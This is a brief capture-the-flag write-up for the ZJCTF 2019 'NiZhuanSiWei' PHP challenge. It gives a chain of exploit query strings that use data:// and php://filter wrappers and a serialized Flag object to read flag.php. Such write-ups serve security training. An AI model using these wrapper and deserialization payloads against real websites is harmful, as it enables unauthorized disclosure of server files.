[ZJCTF 2019]NiZhuanSiWei

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}